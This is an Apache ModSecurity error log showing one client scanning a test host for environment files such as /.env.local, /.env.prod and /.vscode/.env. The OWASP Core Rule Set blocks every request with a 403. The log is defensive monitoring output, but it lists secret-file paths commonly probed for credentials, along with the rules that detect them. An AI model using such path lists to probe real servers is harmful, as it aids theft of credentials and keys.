[Thu Feb 26 01:02:42.400154 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_gAAAAY&quot;]
[Thu Feb 26 01:02:42.410300 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1AAAAAE&quot;]
[Thu Feb 26 01:02:42.410534 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1AAAAAE&quot;]
[Thu Feb 26 01:02:42.410688 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1AAAAAE&quot;]
[Thu Feb 26 01:02:42.437879 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1QAAAAE&quot;]
[Thu Feb 26 01:02:42.438125 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1QAAAAE&quot;]
[Thu Feb 26 01:02:42.438287 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1QAAAAE&quot;]
[Thu Feb 26 01:02:42.463459 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_wAAAAY&quot;]
[Thu Feb 26 01:02:42.463710 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_wAAAAY&quot;]
[Thu Feb 26 01:02:42.463883 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_wAAAAY&quot;]
[Thu Feb 26 01:02:42.474418 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1gAAAAE&quot;]
[Thu Feb 26 01:02:42.474651 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1gAAAAE&quot;]
[Thu Feb 26 01:02:42.474802 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1gAAAAE&quot;]
[Thu Feb 26 01:02:42.486452 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4AAAAAAY&quot;]
[Thu Feb 26 01:02:42.486693 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4AAAAAAY&quot;]
[Thu Feb 26 01:02:42.486851 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4AAAAAAY&quot;]
[Thu Feb 26 01:02:42.524218 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4AQAAAAY&quot;]
[Thu Feb 26 01:02:42.524458 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4AQAAAAY&quot;]
[Thu Feb 26 01:02:42.524622 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4AQAAAAY&quot;]
[Thu Feb 26 01:02:42.527395 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1wAAAAE&quot;]
[Thu Feb 26 01:02:42.527630 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1wAAAAE&quot;]
[Thu Feb 26 01:02:42.527783 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg1wAAAAE&quot;]
[Thu Feb 26 01:02:42.556307 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2AAAAAE&quot;]
[Thu Feb 26 01:02:42.556535 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2AAAAAE&quot;]
[Thu Feb 26 01:02:42.556701 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2AAAAAE&quot;]
[Thu Feb 26 01:02:42.585054 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2QAAAAE&quot;]
[Thu Feb 26 01:02:42.585269 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2QAAAAE&quot;]
[Thu Feb 26 01:02:42.585427 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2QAAAAE&quot;]
[Thu Feb 26 01:02:42.629231 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2gAAAAE&quot;]
[Thu Feb 26 01:02:42.629480 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2gAAAAE&quot;]
[Thu Feb 26 01:02:42.629633 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2gAAAAE&quot;]
[Thu Feb 26 01:02:42.656357 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BAAAAAY&quot;]
[Thu Feb 26 01:02:42.656579 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BAAAAAY&quot;]
